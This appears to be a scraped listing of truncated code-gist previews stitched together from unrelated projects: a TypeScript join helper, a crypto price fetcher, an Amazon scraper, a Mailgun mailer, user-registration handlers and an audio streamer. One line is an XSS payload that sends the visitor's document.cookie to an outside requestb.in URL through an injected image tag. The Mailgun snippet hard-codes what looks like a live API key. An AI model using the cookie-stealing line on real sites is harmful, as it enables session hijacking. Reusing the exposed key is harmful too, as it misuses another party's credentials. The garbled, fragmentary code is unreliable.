First, here's the leftJoin
function from the script:
function leftJoin(
left: ReturnAssessment[],
right: UCMReturn[],
leftKey: keyof ReturnAssessment,
rightKey: keyof UCMReturn
import requests | |
import json | |
c1 = "XLM" | |
c2 = "BTC" | |
url = "https://min-api.cryptocompare.com/data/histohour?fsym=" + c1 + "&tsym=" + c2 + "&limit=168&e=Poloniex" | |
data = [] | |
def req(): |
document.write('<img src="http://requestb.in/vr6ki8vr?cookie=' + document.cookie + '" />'); |
var request = require('request'); | |
var cheerio = require('cheerio'); | |
scrape(); | |
//http://stackoverflow.com/questions/5917082/regular-expression-to-match-numbers-with-or-without-commas-and-decimals-in-text | |
function scrape(){ | |
//url = 'https://www.amazon.com/s/ref=nb_sb_noss_2?url=search-alias%3Daps&field-keywords=%22Panasonic+ErgoFit+RP-HJE120%22&rh=i%3Aaps%2Ck%3A%22Panasonic+ErgoFit+RP-HJE120%22'; | |
url = 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Daps&field-keywords=Panasonic+ErgoFit+RP-HJE120&rh=i%3Aaps%2Ck%3APanasonic+ErgoFit+RP-HJE120'; | |
url = 'https://www.amazon.com/s/?keywords=%22' + encodeURIComponent('beats') + '%22&page=3'; | |
request(url, function(error, response, html){ |
//eddie | |
//do | |
//npm install --save mailgun-js | |
var api_key = 'key-efb6c4bf91205c6e52f7960537f8289d'; | |
var domain = 'mail.perform.technoash.com'; | |
var mailgun = require('mailgun-js')({apiKey: api_key, domain: domain}); | |
var data = { | |
from: 'PerForm Accounts <[email protected]>', |
module.addUserToDB = function(data){ | |
return new Promise(function(resolve, reject) { | |
var userData = { | |
username: data.profile.name.toLowerCase(), | |
displayName: data.profile.name, | |
names: data.names, | |
id: data.profile.id, | |
skinHash: data.profile.skinHash, | |
capes: data.profile.capes, | |
addedAt: Math.floor(new Date()/1000), |
var http = require('http'); | |
var fs = require('fs'); | |
var PassThrough = require('stream').PassThrough; | |
var lame = require('lame'); | |
var spawn = require('child_process').spawn | |
var random = require("random-js")(); | |
var streams = []; |
validateRegister(req.body) | |
.then(function(errors){ | |
if(errors.count > 0){ | |
res.send({state: 'failure', registerFormErrors: errors.messages, errorCount: errors.count}); | |
return; | |
} | |
//this won't always happen | |
return db.createUser(req.body.name, req.body.email, req.body.password); | |
}) | |
.then(function(newUser){ |
validateRegister(req.body) | |
.then(function(errors){ | |
if(errors.count > 0){ | |
res.send({state: 'failure', registerFormErrors: errors.messages, errorCount: errors.count}); | |
return; | |
} | |
db.createUser(req.body.name, req.body.email, req.body.password) | |
.then(function(newUser){ | |
console.log(2); | |
res.send({state: 'success', name: newUser.name}); |